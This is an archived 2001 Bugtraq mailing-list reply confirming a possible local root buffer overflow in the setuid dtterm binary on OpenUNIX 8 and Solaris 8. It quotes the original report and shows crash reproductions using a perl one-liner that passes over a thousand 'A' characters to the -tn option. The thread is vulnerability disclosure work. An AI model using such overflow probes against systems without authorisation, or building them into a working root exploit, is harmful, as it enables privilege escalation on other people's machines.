RE: OpenUNIX 8 & Unixware possible local root

From: Cushing, David (David.Cushingat_private)
Date: Wed Oct 03 2001 - 08:12:52 PDT

  • Next message: Tony Lambiris: "AIM 0day DoS"

    I was able to reproduce this on a Solaris 8 sparc machine with different
    tolerances:
    
    [288] uname -a
    SunOS hostname 5.8 Generic_108528-08 sun4u sparc SUNW,Ultra-60
    [289] /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1083'`
    Segmentation Fault(coredump)
    [297] /usr/dt/bin/dtterm -tn `perl -e 'print "A"x2083'`
    Bus Error(coredump)
    ginger:dcushing[298] 
    
    -David
    
    > -----Original Message-----
    > From: Aycan Irican [mailto:aycanat_private]
    > Sent: Tuesday, October 02, 2001 1:55 AM
    > To: bugtraqat_private
    > Cc: evrimat_private
    > Subject: OpenUNIX 8 & Unixware possible local root
    > 
    > 
    > -----BEGIN PGP SIGNED MESSAGE-----
    > Hash: SHA1
    > 
    > Another dt series bug...
    > 
    > $ uname -a 
    > OpenUNIX zen 5 8.0.0 i386 x86at Caldera UNIX_SVR5 
    > $ id 
    > uid=101(fixxxer) gid=1(other) 
    > $ ls -al /usr/dt/bin/dtterm 
    > - -r-sr-xr-x 1 root bin 60892 Haz 10 05:03 
    > /usr/dt/bin/dtterm 
    > $ /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1040'` 
    > Warning: Missing charsets in String to FontSet conversion 
    > Warning: Missing charsets in String to FontSet conversion 
    > Memory fault 
    > .. snip .. 
    



    This archive was generated by hypermail 2b30 : Wed Oct 03 2001 - 08:25:40 PDT